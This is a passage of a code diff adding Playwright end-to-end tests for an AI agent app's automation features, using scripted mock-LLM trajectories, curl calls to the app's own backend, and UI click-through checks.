+    .poll(
+      async () => {
+        const response = await request.get(
+          `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}/events/search`,
+          {
+            headers: {
+              "X-Session-API-Key": sessionApiKey,
+            },
+            params: {
+              limit: "100",
+              sort_order: "TIMESTAMP_DESC",
+            },
+          },
+        );
+
+        if (!response.ok()) {
+          return false;
+        }
+
+        const body = (await response.json()) as { items?: unknown[] };
+        return body.items?.some(isSuccessfulBashObservation) ?? false;
+      },
+      { timeout: 120_000 },
+    )
+    .toBe(true);
+}
+
+export async function waitForCriticResultEvent(
+  request: APIRequestContext,
+  conversationId: string,
+) {
+  await expect
+    .poll(
+      async () => {
+        const response = await request.get(
+          `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}/events/search`,
+          {
+            headers: {
+              "X-Session-API-Key": sessionApiKey,
+            },
+            params: {
+              limit: "100",
+              sort_order: "TIMESTAMP_DESC",
+            },
+          },
+        );
+
+        if (!response.ok()) {
+          return false;
+        }
+
+        const body = (await response.json()) as { items?: unknown[] };
+        return body.items?.some(hasCriticResult) ?? false;
+      },
+      { timeout: 180_000 },
+    )
+    .toBe(true);
+}
+
+export async function waitForCriticResultDisplay(page: Page) {
+  await expect
+    .poll(
+      async () =>
+        page
+          .evaluate(() =>
+            document.body.textContent?.includes(
+              "Critic: agent success likelihood",
+            ),
+          )
+          .catch(() => false),
+      { timeout: 120_000 },
+    )
+    .toBe(true);
+}
diff --git a/tests/e2e/mock-llm/automations/mock-llm-automation.spec.ts b/tests/e2e/mock-llm/automations/mock-llm-automation.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..dcae2c93cde62fa37d403c67b1076f094d8781e0
--- /dev/null
+++ b/tests/e2e/mock-llm/automations/mock-llm-automation.spec.ts
@@ -0,0 +1,679 @@
+/**
+ * Mock-LLM E2E test: Create a cron automation, dispatch a run, and verify
+ * the run completes with a conversation link.
+ *
+ * Exercises the full automation lifecycle end-to-end:
+ *
+ *   1. Setup: configure mock LLM profile and register a scripted trajectory
+ *      whose terminal tool calls hit the REAL automation backend (running
+ *      inside the bin/agent-canvas.mjs stack). The trajectory includes extra
+ *      responses for the automation run's spawned conversation so it can
+ *      finish and report COMPLETED.
+ *   2. Conversation: type a prompt in the home chat launcher → mock LLM
+ *      returns curl commands that create a cron automation and dispatch a run
+ *      via the real automation API (through the ingress). Verify the run
+ *      reaches COMPLETED status and has a conversation_id.
+ *   3. UI verification: navigate to the /automations list page, click through
+ *      to the automation detail page, verify the run shows COMPLETED with a
+ *      clickable conversation link, and click through to verify the link
+ *      navigates to the correct conversation page.
+ *
+ * No mock automation server is used — the real automation backend started by
+ * bin/agent-canvas.mjs handles all /api/automation/* requests. The agent's
+ * terminal commands authenticate with X-Session-API-Key header using the
+ * stack's session API key.
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  BACKEND_URL,
+  SESSION_API_KEY,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  waitForPath,
+  getConversationIdFromURL,
+  waitForNonUserMessageText,
+  deleteConversation,
+  registerTrajectory,
+  activateTrajectory,
+  resetMockLLM,
+  ensureMockLLMProfile,
+  getMockLLMRequests,
+} from "../utils/mock-llm-helpers";
+
+// Token the test asserts on in the agent's text reply (step 2).
+// The terminal printf breadcrumbs below are NOT asserted — they exist
+// purely for log readability when debugging failures.
+const AUTOMATION_REPLY_TOKEN = "MOCK_AUTOMATION_REPLY_OK";
+
+const AUTOMATION_NAME = "Hello World Cron";
+const CRON_SCHEDULE = "0 9 * * *";
+
+// The ingress URL reachable from the agent's terminal. The agent-server
+// Auth via X-Session-API-Key header (matching frontend automation-service.api.ts).
+const AUTOMATION_API_BASE = `${BACKEND_URL}/api/automation/v1`;
+
+/**
+ * List automations from the real automation backend via the ingress.
+ * Retries on 502/503 as a belt-and-suspenders safety net — even though the
+ * Playwright webServer health check now probes /api/automation/v1, a brief
+ * race between backend startup and the first test request is still possible.
+ */
+async function listAutomations(
+  request: import("@playwright/test").APIRequestContext,
+  retries = 15,
+) {
+  let lastStatus = 0;
+  for (let i = 0; i < retries; i++) {
+    const resp = await request.get(`${AUTOMATION_API_BASE}`, {
+      headers: {
+        "X-Session-API-Key": SESSION_API_KEY,
+      },
+    });
+    lastStatus = resp.status();
+    if (resp.ok()) return resp.json();
+    // 502 = ingress can't reach the automation backend yet; retry
+    if (lastStatus === 502 || lastStatus === 503) {
+      await new Promise((r) => setTimeout(r, 2_000));
+      continue;
+    }
+    // Any other error is unexpected
+    break;
+  }
+  throw new Error(
+    `GET automations returned ${lastStatus} after ${retries} retries`,
+  );
+}
+
+/** Poll the main conversation for the automation ID returned by the create command. */
+async function waitForCreatedAutomationId(
+  request: import("@playwright/test").APIRequestContext,
+  conversationId: string,
+  timeoutMs = 30_000,
+) {
+  const deadline = Date.now() + timeoutMs;
+  while (Date.now() < deadline) {
+    const response = await request.get(
+      `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}/events/search`,
+      {
+        headers: { "X-Session-API-Key": SESSION_API_KEY },
+        params: { limit: "100", sort_order: "TIMESTAMP_DESC" },
+      },
+    );
+    if (response.ok()) {
+      const body = (await response.json()) as { items?: unknown[] };
+      const text = JSON.stringify(body.items ?? []);
+      const match = text.match(/automation_id\\?":\\?"([0-9a-f-]{36})/i);
+      if (match) return match[1];
+    }
+    await new Promise((resolve) => setTimeout(resolve, 500));
+  }
+  throw new Error(
+    `Created automation ID was not reported after ${timeoutMs}ms`,
+  );
+}
+
+async function getAutomation(
+  request: import("@playwright/test").APIRequestContext,
+  automationId: string,
+) {
+  const response = await request.get(
+    `${AUTOMATION_API_BASE}/${encodeURIComponent(automationId)}`,
+    { headers: { "X-Session-API-Key": SESSION_API_KEY } },
+  );
+  expect(response.ok(), `GET automation returned ${response.status()}`).toBe(
+    true,
+  );
+  return response.json();
+}
+
+/**
+ * List runs for a specific automation via the real automation backend.
+ */
+async function listAutomationRuns(
+  request: import("@playwright/test").APIRequestContext,
+  automationId: string,
+) {
+  const resp = await request.get(
+    `${AUTOMATION_API_BASE}/${encodeURIComponent(automationId)}/runs`,
+    {
+      headers: {
+        "X-Session-API-Key": SESSION_API_KEY,
+      },
+    },
+  );
+  if (!resp.ok()) {
+    const status = resp.status();
+    // 502/503 = backend still starting — return empty so the caller retries
+    if (status === 502 || status === 503) return { runs: [], items: [] };
+    // Any other error is unexpected — surface it immediately
+    throw new Error(
+      `GET automation runs returned ${status} for ${automationId}`,
+    );
+  }
+  return resp.json();
+}
+
+interface AutomationRunRecord {
+  id: string;
+  status: string;
+  conversation_id: string | null;
+  error_detail?: string | null;
+}
+
+/** Statuses a run never leaves (see RunStatus in openhands-automation). */
+const TERMINAL_RUN_STATUSES = new Set([
+  "COMPLETED",
+  "FAILED",
+  "CANCELLED",
+  "SKIPPED",
+]);
+
+/**
+ * Poll until a run reaches the expected status or times out.
+ *
+ * Fails fast, quoting the backend's `error_detail`, once every run has ended
+ * in some other terminal status — polling on would only surface a timeout
+ * and hide why the run actually stopped.
+ */
+async function waitForRunStatus(
+  request: import("@playwright/test").APIRequestContext,
+  automationId: string,
+  expectedStatus: string,
+  timeoutMs = 30_000,
+): Promise<AutomationRunRecord> {
+  const deadline = Date.now() + timeoutMs;
+  while (Date.now() < deadline) {
+    const data = await listAutomationRuns(request, automationId);
+    const runs: AutomationRunRecord[] = data.runs ?? data.items ?? [];
+    const match = runs.find((r) => r.status === expectedStatus);
+    if (match) return match;
+    if (
+      runs.length > 0 &&
+      runs.every((r) => TERMINAL_RUN_STATUSES.has(r.status))
+    ) {
+      const summary = runs
+        .map(
+          (r) =>
+            `${r.id}=${r.status}${r.error_detail ? ` (${r.error_detail})` : ""}`,
+        )
+        .join(", ");
+      throw new Error(
+        `No run reached "${expectedStatus}"; every run already ended: ${summary}`,
+      );
+    }
+    await new Promise((r) => setTimeout(r, 1_000));
+  }
+  throw new Error(
+    `No run with status "${expectedStatus}" after ${timeoutMs}ms`,
+  );
+}
+
+/**
+ * Delete an automation (best-effort cleanup).
+ */
+async function deleteAutomation(
+  request: import("@playwright/test").APIRequestContext,
+  automationId: string,
+) {
+  await request.delete(
+    `${AUTOMATION_API_BASE}/${encodeURIComponent(automationId)}`,
+    {
+      headers: {
+        "X-Session-API-Key": SESSION_API_KEY,
+      },
+    },
+  );
+}
+
+/** Remove stale automations with the test's fixed name before a retry. */
+async function deleteAutomationsByName(
+  request: import("@playwright/test").APIRequestContext,
+  name: string,
+) {
+  const data = await listAutomations(request);
+  const automations = data.automations ?? data.items ?? [];
+  for (const automation of automations.filter(
+    (candidate: { name: string }) => candidate.name === name,
+  )) {
+    await deleteAutomation(request, automation.id);
+  }
+}
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("mock-LLM automation lifecycle", () => {
+  const conversationIds = new Set<string>();
+  const automationIds = new Set<string>();
+  /** IDs carried between the serial lifecycle steps. */
+  let createdAutomationId: string | null = null;
+  let runConversationId: string | null = null;
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ page, request }) => {
+    // Collect conversation IDs from the URL for cleanup
+    const match = page.url().match(/\/conversations\/([^/?#]+)/);
+    if (match?.[1]) conversationIds.add(decodeURIComponent(match[1]));
+
+    // Clean up conversations but NOT automations — step 3 needs the
+    // automation created in step 2 to verify it appears on the page.
+    for (const id of Array.from(conversationIds)) {
+      try {
+        await deleteConversation(request, id);
+        conversationIds.delete(id);
+      } catch {
+        // best-effort cleanup
+      }
+    }
+  });
+
+  // Safety net: delete any leftover automations and reset the mock LLM.
+  // Resetting here (instead of afterEach) preserves named trajectories
+  // registered in step 1 for activation in step 2.
+  test.afterAll(async ({ request }) => {
+    for (const id of Array.from(automationIds)) {
+      try {
+        await deleteAutomation(request, id);
+      } catch {
+        // best-effort
+      }
+    }
+    automationIds.clear();
+
+    // Reset mock LLM so subsequent test suites start fresh.
+    try {
+      await resetMockLLM(request);
+    } catch {
+      // best-effort — the mock server may have already shut down
+    }
+  });
+
+  // ── Step 1: Ensure LLM profile + register the automation trajectory ─
+
+  test("step 1: setup LLM profile and register automation trajectory", async ({
+    page,
+    request,
+  }) => {
+    // Retries reuse the same Docker backend, so remove any automation left by
+    // an earlier attempt before creating the fixed-name test resource.
+    await deleteAutomationsByName(request, AUTOMATION_NAME);
+
+    // Ensure the mock LLM profile is configured via the Settings UI
+    await ensureMockLLMProfile(page);
+
+    // Build the terminal commands the mock LLM will return.
+    // The curl commands hit the REAL automation backend through the ingress.
+    // Auth uses $OPENHANDS_AUTOMATION_API_KEY which the agent-server
+    // exposes as an env var in the terminal sandbox.
+    //
+    // Turn 1: Create the automation via curl preset/prompt endpoint.
+    // Turn 2: Extract the automation ID and dispatch a run.
+    // Turn 3: Text reply with a verification token.
+
+    // Auth: hardcode the session API key directly in the curl commands.
+    // The agent-server terminal may not inherit all parent env vars (the SDK
+    // sandboxes the execution environment), so $OPENHANDS_AUTOMATION_API_KEY
+    // may not be available. Using the key directly is safe in a test context.
+    const authHeader = `-H 'X-Session-API-Key: ${SESSION_API_KEY}'`;
+
+    const createCmd = [
+      // --retry: the automation backend can still be settling right after
+      // startup in the uvx/bin dev paths; transient connect/reset/5xx
+      // failures should not abort the create (observed flake → assert then
+      // sees 0 automations).
+      `curl --fail-with-body -sS -X POST '${AUTOMATION_API_BASE}/preset/prompt'`,
+      `--retry 3 --retry-connrefused --retry-delay 1`,
+      `-H 'Content-Type: application/json'`,
+      authHeader,
+      `-d '${JSON.stringify({
+        name: AUTOMATION_NAME,
+        prompt: "echo hello world",
+        trigger: { type: "cron", schedule: CRON_SCHEDULE, timezone: "UTC" },
+      })}'`,
+      `-o /tmp/auto_result.json`,
+      `-w '\\nHTTP_CODE:%{http_code}\\n'`,
+      `&& cat /tmp/auto_result.json`,
+      `&& printf 'AUTOMATION_CREATED\\n'`,
+    ].join(" ");
+
+    const dispatchCmd = [
+      `AID=$(python3 -c "import json; print(json.load(open('/tmp/auto_result.json'))['id'])")`,
+      `&& curl --fail-with-body -sS -X POST "${AUTOMATION_API_BASE}/$AID/dispatch"`,
+      authHeader,
+      `-H 'Content-Type: application/json'`,
+      `-w '\\nHTTP_CODE:%{http_code}\\n'`,
+      `&& printf 'AUTOMATION_DISPATCHED\\n'`,
+    ].join(" ");
+
+    // ⚠️  Padding response (index 0):
+    // Public skills are bundled from @openhands/extensions at build time.
+    // The agent-server's skill-activation pipeline makes one internal LLM
+    // call to decide which skills to inject before the agent loop starts.
+    // Our user message mentions "automation", which matches the
+    // openhands-automation skill, triggering this internal call.
+    // The conversation test does NOT need padding because its prompt
+    // ("run this bash command") does not match any skill trigger.
+    //
+    // If the padding ever becomes misaligned (e.g. the agent-server stops
+    // making this call or starts making two), step 2's
+    // waitForNonUserMessageText(AUTOMATION_REPLY_TOKEN) will time out
+    // quickly, making the failure obvious. See AGENTS.md → "Padding
+    // response for internal LLM call" for more context.
+    //
+    // After the main conversation finishes (responses 0-3),the dispatched
+    // automation run spawns a NEW conversation on the same agent-server.
+
+    // That conversation also calls the mock LLM. Recent openhands-automation
+    // versions (>= 1.10.0, PR openhands/automation#405) require
+    // preset automation conversations to call the `finish` tool before the
+    // run reaches COMPLETED — so we script one blank internal call followed
+    // by the required finish-tool turn (and one trailing blank safety) below.
+    // If this ever drifts again, step 2's run-status timeout will surface it,
+    // and the mock server log shows "Mock LLM exhausted after N calls"
+    // pinpointing the exact count.
+
+    await registerTrajectory(request, "automation-lifecycle", [
+      // ── Main conversation (responses 0-3) ──
+      { text: "" }, // 0: consumed by skill-activation LLM call (see above)
+      {
+        // 1: create the automation via curl
+        tool_call: {
+          name: "terminal",
+          arguments: { command: createCmd },
+        },
+      },
+      {
+        // 2: dispatch a run via curl
+        tool_call: {
+          name: "terminal",
+          arguments: { command: dispatchCmd },
+        },
+      },
+      { text: AUTOMATION_REPLY_TOKEN }, // 3: finish main conversation
+
+      // ── Automation run's conversation (responses 4+) ──
+      // The run starts a fresh conversation with the automation prompt.
+      // Script one internal padding call +the required `finish` tool turn,
+      // followed by a final text reply (+ one trailing safety blank** so the
+      // run reaches COMPLETED.
+      { text: "" }, // 4: possible internal/condenser call
+      {
+        // 5: openhands-automation >= 1.10.0 (openhands/automation#405)
+        // requires preset automation conversations to finish via the
+        // `finish` tool — a hook waits for `finish_tool_used` before the
+        // run reaches COMPLETED. Blank turns alone would just loop and exhaust
+        // the trajectory, so script the required finish-tool turn explicitly.
+
+        tool_call: {
+          // The agent-server registers the finish tool under its lowercase
+          // title (`finish`). The action schema requires `message`, while the
+          // attached response schema (TaskOutcome) validates the
+          // `status` + `outcome_summary` pair (that's the field alias, not
+          // `summary`); both layers must be satisfied in the same call.
+          name: "finish",
+          arguments: {
+            message: "Hello world echoed successfully.",
+            status: "success",
+            outcome_summary: "Hello world echoed successfully.",
+          },
+        },
+      },
+      // 6: after the finish tool executes, the agent still needs one more
+      // non-empty LLM turn to end the conversation — a blank here would
+      // make the harness nag ("no function call") and loop on the exhausted
+      // trajectory, so reply with the final text.
+      { text: "Done. Hello world echoed successfully." },
+      { text: "" }, // 7: safety buffer for any follow-up internal call after finish
+    ]);
+
+    // Activate it so the mock LLM uses this trajectory for the next conversation
+    await activateTrajectory(request, "automation-lifecycle");
+  });
+
+  // ── Step 2: Create automation via conversation ─────────────────────
+
+  test("step 2: create automation and dispatch run via the UI", async ({
+    page,
+    request,
+  }) => {
+    // Budget: ~150 s for the two dominant waits (waitForNonUserMessageText 60 s
+    // + waitForRunStatus 90 s), plus ~30 s margin for navigation/page loads.
+    // If CI proves flaky, bump to 240_000.
+    test.setTimeout(180_000);
+    // Re-activate in case the mock-LLM server restarted between steps (belt-and-suspenders)
+    await activateTrajectory(request, "automation-lifecycle");
+
+    await routeSessionApiKey(page);
+
+    // Navigate to the home page and type a prompt to create the automation.
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    await test.step("type prompt and submit", async () => {
+      await waitForTestId(page, "home-chat-launcher", 15_000);
+
+      const userMessage =
+        "Create a cron automation that echoes hello world every morning at 9am.";
+
+      // Set contenteditable text via evaluate (contentEditable divs don't
+      // respond reliably to Playwright's .fill() or .type()).
+      await page.evaluate(
+        ({ testId, text }) => {
+          const el = document.querySelector(`[data-testid="${testId}"]`);
+          if (!(el instanceof HTMLElement))
+            throw new Error("Chat input not found");
+          el.focus();
+          el.textContent = text;
+          el.dispatchEvent(
+            new InputEvent("input", {
+              bubbles: true,
+              data: text,
+              inputType: "insertText",
+            }),
+          );
+        },
+        { testId: "chat-input", text: userMessage },
+      );
+
+      await page.getByTestId("submit-button").click();
+    });
+
+    // Wait for navigation to the new conversation page
+    await test.step("wait for conversation to start", async () => {
+      await waitForPath(page, /\/conversations\/.+/, 30_000);
+    });
+
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    // ── Verify: the LLM reply token appears in the chat UI ──
+
+    await test.step("verify LLM reply token in chat UI", async () => {
+      await waitForNonUserMessageText(page, AUTOMATION_REPLY_TOKEN, 60_000);
+    });
+
+    // ── Verify: automation was created in the real automation backend ──
+
+    await test.step("verify automation was created", async () => {
+      createdAutomationId = await waitForCreatedAutomationId(
+        request,
+        conversationId,
+      );
+      const created = await getAutomation(request, createdAutomationId);
+      automationIds.add(created.id);
+      expect(created.name).toBe(AUTOMATION_NAME);
+      expect(created.trigger?.schedule).toBe(CRON_SCHEDULE);
+      expect(created.enabled).toBe(true);
+    });
+
+    // ── Verify: run completed successfully with a conversation link ──
+
+    await test.step("verify run completed with conversation link", async () => {
+      expect(createdAutomationId).toBeTruthy();
+      const automation = await getAutomation(request, createdAutomationId!);
+      automationIds.add(automation.id);
+
+      // Wait for the run to reach COMPLETED. The trajectory scripts the required
+      // `finish` tool turn (plus padding) for the automation run's spawned
+      // conversation so it can finish and fire the completion callback.
+      const run = await waitForRunStatus(
+        request,
+        automation.id,
+        "COMPLETED",
+        90_000,
+      );
+      expect(run.conversation_id).toBeTruthy();
+      // Store the conversation ID for the click-through verification in step 3
+      runConversationId = run.conversation_id;
+    });
+
+    // ── Verify: no error banners ──
+
+    await test.step("verify no error banners", async () => {
+      const errorBanner = page.getByTestId("error-message-banner");
+      await expect(errorBanner).not.toBeVisible({ timeout: 2_000 });
+    });
+
+    // ── Verify: runtime services info is included in LLM requests ──
+
+    await test.step("verify runtime services info in LLM system prompt", async () => {
+      const llmRequests = await getMockLLMRequests(request);
+      expect(
+        llmRequests.length,
+        "mock LLM should have received at least one completion request",
+      ).toBeGreaterThan(0);
+
+      // The <RUNTIME_SERVICES> block should appear in a system message
+      // sent to the LLM. Walk all captured requests looking for it.
+      function findRuntimeServicesContent(
+        reqs: Record<string, unknown>[],
+      ): string | null {
+        for (const req of reqs) {
+          const messages = req.messages as
+            | Array<{ role: string; content: unknown }>
+            | undefined;
+          if (!Array.isArray(messages)) continue;
+          for (const msg of messages) {
+            if (msg.role !== "system") continue;
+            const text =
+              typeof msg.content === "string"
+                ? msg.content
+                : Array.isArray(msg.content)
+                  ? (msg.content as Array<{ type?: string; text?: string }>)
+                      .filter((c) => c.type === "text" || typeof c === "string")
+                      .map((c) => (typeof c === "string" ? c : (c.text ?? "")))
+                      .join("")
+                  : "";
+            if (text.includes("<RUNTIME_SERVICES>")) return text;
+          }
+        }
+        return null;
+      }
+
+      const runtimeBlock = findRuntimeServicesContent(llmRequests);
+      expect(
+        runtimeBlock,
+        `Expected <RUNTIME_SERVICES> block in a system message.\n` +
+          `Received ${llmRequests.length} LLM request(s) but none contained it.`,
+      ).toBeTruthy();
+
+      // Verify the block includes key services that should be present
+      // in the full agent-canvas stack (agent-server + automation + ingress).
+      expect(runtimeBlock).toContain("Agent Server");
+      expect(runtimeBlock).toContain("Automation backend");
+      expect(runtimeBlock).toContain("/api/automation");
+      expect(runtimeBlock).toContain("</RUNTIME_SERVICES>");
+    });
+  });
+
+  // ── Step 3: Verify automation on list page, click through to detail, verify run link ─
+
+  test("step 3: verify automation and run on the automations page", async ({
+    page,
+    request,
+  }) => {
+    test.setTimeout(60_000);
+    await routeSessionApiKey(page);
+    await page.goto("/automations", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    await test.step("automation card visible on list page", async () => {
+      await waitForTestId(page, "automations-add-automation", 15_000);
+      expect(createdAutomationId).toBeTruthy();
+
+      const automationCard = page.locator(
+        `[data-testid="automation-card-${createdAutomationId}"]`,
+      );
+      await expect(automationCard).toBeVisible({ timeout: 15_000 });
+      await expect(automationCard).toContainText(AUTOMATION_NAME);
+    });
+
+    await test.step("click through to automation detail page", async () => {
+      // The automation card is a link — clicking it navigates to /automations/:id.
+      const automationCard = page.locator(
+        `[data-testid="automation-card-${createdAutomationId}"]`,
+      );
+
+      await automationCard.click();
+      await waitForPath(page, /\/automations\/.+/, 10_000);
+    });
+
+    // Verify the automation shows an "Active" enabled-status badge on the detail page
+    await test.step("verify automation shows active status badge", async () => {
+      const activeBadge = page.getByTestId("active-status-badge-active");
+      await expect(activeBadge).toBeVisible({ timeout: 10_000 });
+    });
+
+    // Verify the cron schedule is displayed in the configuration section.
+    // The ConfigurationSection renders schedule_human (e.g. "Every day at 9:00 AM")
+    // or falls back to the raw cron expression.
+    await test.step("verify cron schedule displayed on detail page", async () => {
+      await expect(page.getByText(CRON_SCHEDULE)).toBeVisible({
+        timeout: 10_000,
+      });
+    });
+
+    await test.step("verify run shows COMPLETED with conversation link", async () => {
+      // The activity log should show a COMPLETED badge (translated as "Successful")
+      const completedIcon = page.getByTestId("run-status-icon-completed");
+      await expect(completedIcon).toBeVisible({ timeout: 15_000 });
+
+      // Verify step 2 populated runConversationId — without it the
+      // click-through assertion below would silently pass.
+      expect(
+        runConversationId,
+        "step 2 must set runConversationId before step 3 can verify the link",
+      ).toBeTruthy();
+      if (runConversationId) {
+        const runLinks = page.locator(
+          `a[href="/conversations/${runConversationId}"]`,
+        );
+        // There may be multiple matching links (e.g. header + activity row);
+        // assert at least one exists and click the first.
+        await expect(runLinks.first()).toBeVisible({ timeout: 10_000 });
+
+        // Click the run link and verify it navigates to the conversation page
+        await runLinks.first().click();
+        await waitForPath(page, /\/conversations\/.+/, 10_000);
+        expect(page.url()).toContain(runConversationId);
+      }
+    });
+
+    // Clean up automations at the end of the last test
+    await test.step("cleanup automations", async () => {
+      for (const id of Array.from(automationIds)) {
+        try {
+          await deleteAutomation(request, id);
+          automationIds.delete(id);
+        } catch {
+          // best-effort
+        }
+      }
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/automations/mock-llm-preset-automation.spec.ts b/tests/e2e/mock-llm/automations/mock-llm-preset-automation.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d9c4ad76cf06de4a0d210e72e71305227d0dfa79
--- /dev/null
+++ b/tests/e2e/mock-llm/automations/mock-llm-preset-automation.spec.ts
@@ -0,0 +1,310 @@
+/**
+ * Mock-LLM E2E test: preset automation card → slash command → skill activation.
+ *
+ * The `slack-standup-digest` skill ships in the public OpenHands extensions
+ * repo with `triggers: ["/standup-digest:setup"]`. The frontend bundles
+ * public skills from the `@openhands/extensions` npm package and passes
+ * them directly in `agent_context.skills` at conversation-start, so the
+ * SDK's trigger matching activates them without the agent-server needing
+ * to clone the extensions repo (`load_public_skills: false`).
+ *
+ * Two tests:
+ *   1. **Card flow**: configure a dummy Slack MCP server so the automation
+ *      card is launchable, click the card, choose "Poll locally" in the
+ *      responder-deployment modal, then verify it sends the correct slash
+ *      command and triggers skill activation.
+ *   2. **Direct slash command**: send the slash command from the home page
+ *      (no MCP needed), verify skill activation + agent reply.
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  BACKEND_URL,
+  SESSION_API_KEY,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  waitForPath,
+  getConversationIdFromURL,
+  waitForNonUserMessageText,
+  deleteConversation,
+  registerTrajectory,
+  activateTrajectory,
+  resetMockLLM,
+  ensureMockLLMProfile,
+  setChatInput,
+} from "../utils/mock-llm-helpers";
+
+const SLASH_COMMAND = "/standup-digest:setup";
+const AUTOMATION_CARD_ID = "slack-standup-digest";
+const REPLY_TOKEN = "PRESET_AUTOMATION_REPLY_OK";
+
+// ── Shared helpers ────────────────────────────────────────────────────
+
+/** Register + activate the mock LLM trajectory for a skill-triggered conversation. */
+async function setupTrajectory(
+  request: import("@playwright/test").APIRequestContext,
+) {
+  // Response 0: padding for internal skill-analysis call (consumed when
+  // a skill trigger matches, before the agent loop starts).
+  // Response 1: the actual agent reply.
+  await registerTrajectory(request, "preset-automation", [
+    { text: "" },
+    { text: `I'll help you set up the standup digest. ${REPLY_TOKEN}` },
+  ]);
+  await activateTrajectory(request, "preset-automation");
+}
+
+/** Poll the events API until we find an event with a non-empty activated_skills. */
+async function assertActivatedSkills(
+  request: import("@playwright/test").APIRequestContext,
+  conversationId: string,
+) {
+  await expect
+    .poll(
+      async () => {
+        const resp = await request.get(
+          `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}/events/search`,
+          {
+            headers: { "X-Session-API-Key": SESSION_API_KEY },
+            params: { limit: "50" },
+          },
+        );
+        if (!resp.ok()) return `events API: HTTP ${resp.status()}`;
+
+        const body = (await resp.json()) as { items?: unknown[] };
+        const items = body.items ?? [];
+
+        const diag = items.map((item: unknown) => {
+          const e = item as Record<string, unknown>;
+          return `${String(e.source)}:${String(e.event_type)}(skills=${JSON.stringify(e.activated_skills ?? [])})`;
+        });
+
+        const found = items.some((item: unknown) => {
+          const e = item as Record<string, unknown>;
+          const skills = e.activated_skills as string[] | undefined;
+          return Array.isArray(skills) && skills.length > 0;
+        });
+
+        return found
+          ? "FOUND"
+          : `${items.length} events: [${diag.join(", ")}]`;
+      },
+      {
+        message: "activated_skills not found in conversation events",
+        intervals: [1_000, 2_000, 3_000, 5_000],
+        timeout: 20_000,
+      },
+    )
+    .toBe("FOUND");
+}
+
+// ── Tests ─────────────────────────────────────────────────────────────
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("preset automation → slash command conversation", () => {
+  const conversationIds = new Set<string>();
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ page, request }) => {
+    const match = page.url().match(/\/conversations\/([^/?#]+)/);
+    if (match?.[1]) conversationIds.add(decodeURIComponent(match[1]));
+
+    for (const id of Array.from(conversationIds)) {
+      try {
+        await deleteConversation(request, id);
+        conversationIds.delete(id);
+      } catch {
+        // best-effort cleanup
+      }
+    }
+    await resetMockLLM(request).catch(() => {});
+    // Clear any MCP servers so subsequent tests start clean
+    await request
+      .patch(`${BACKEND_URL}/api/settings`, {
+        headers: {
+          "X-Session-API-Key": SESSION_API_KEY,
+          "Content-Type": "application/json",
+        },
+        data: { agent_settings_diff: { mcp_config: null } },
+      })
+      .catch(() => {});
+  });
+
+  // ── Test 1: automation card sends the correct slash command ────────
+  //
+  // Configure a dummy Slack MCP server so the frontend sees it as
+  // "installed" and the card is clickable without the install modal.
+  // The dummy `echo` command can't do MCP JSON-RPC, so the agent-server
+  // will error during tool initialization — but we only care that the
+  // card click navigated to a conversation and sent the right prompt.
+  // The end-to-end skill activation + agent reply is tested in test 2
+  // (without MCP).
+
+  test("automation card sends the correct slash command to a conversation", async ({
+    page,
+    request,
+  }) => {
+    await ensureMockLLMProfile(page);
+
+    // Configure a dummy Slack MCP server so the card is launchable
+    await test.step("configure dummy Slack MCP", async () => {
+      const resp = await request.patch(`${BACKEND_URL}/api/settings`, {
+        headers: {
+          "X-Session-API-Key": SESSION_API_KEY,
+          "Content-Type": "application/json",
+        },
+        data: {
+          agent_settings_diff: {
+            mcp_config: {
+              slack: {
+                command: "echo",
+                args: ["dummy-slack-mcp"],
+                env: {
+                  SLACK_BOT_TOKEN: "xoxb-test-token",
+                  SLACK_TEAM_ID: "T0000000000",
+                },
+              },
+            },
+          },
+        },
+      });
+      expect(resp.ok(), `PATCH settings: ${resp.status()}`).toBe(true);
+    });
+
+    await routeSessionApiKey(page);
+    // The catalog launcher lives on the Templates sub-page, which is where
+    // the interface manifest places it.
+    await page.goto("/automations/templates", {
+      waitUntil: "domcontentloaded",
+    });
+    await dismissAnalyticsModal(page);
+
+    // Click the Slack standup digest automation card
+    await test.step("click automation card", async () => {
+      await waitForTestId(page, "recommended-automations-section", 15_000);
+      const card = page.getByTestId(
+        `recommended-automation-card-${AUTOMATION_CARD_ID}`,
+      );
+      await expect(card).toBeVisible({ timeout: 10_000 });
+      await card.click();
+    });
+
+    // Slack/GitHub responders now prompt for a deployment target first.
+    // Choose "Poll locally on your laptop" to resume the existing local
+    // setup + launch flow this test exercises.
+    await test.step("choose local deployment", async () => {
+      const modal = page.getByTestId("responder-deployment-modal");
+      await expect(modal).toBeVisible({ timeout: 10_000 });
+      await page.getByTestId("responder-deployment-continue-local").click();
+    });
+
+    // Should navigate to a new conversation
+    await waitForPath(page, /\/conversations\/.+/, 30_000);
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+
+    // Verify: the slash command was submitted as a user message.
+    // The card calls setMessageToSend(prompt) which auto-submits.
+    // Give it a moment, then fall back to manual submit if needed.
+    await test.step("verify slash command is sent as user message", async () => {
+      // Wait for either the user message to appear or the input to be populated
+      await page.waitForTimeout(3_000);
+
+      const userMessages = page.locator('[data-testid="user-message"]');
+      const hasSentMessage = await userMessages
+        .filter({ hasText: SLASH_COMMAND })
+        .count()
+        .then((c) => c > 0)
+        .catch(() => false);
+
+      if (!hasSentMessage) {
+        // Message may still be in the input — submit it manually
+        const inputEl = page.getByTestId("chat-input");
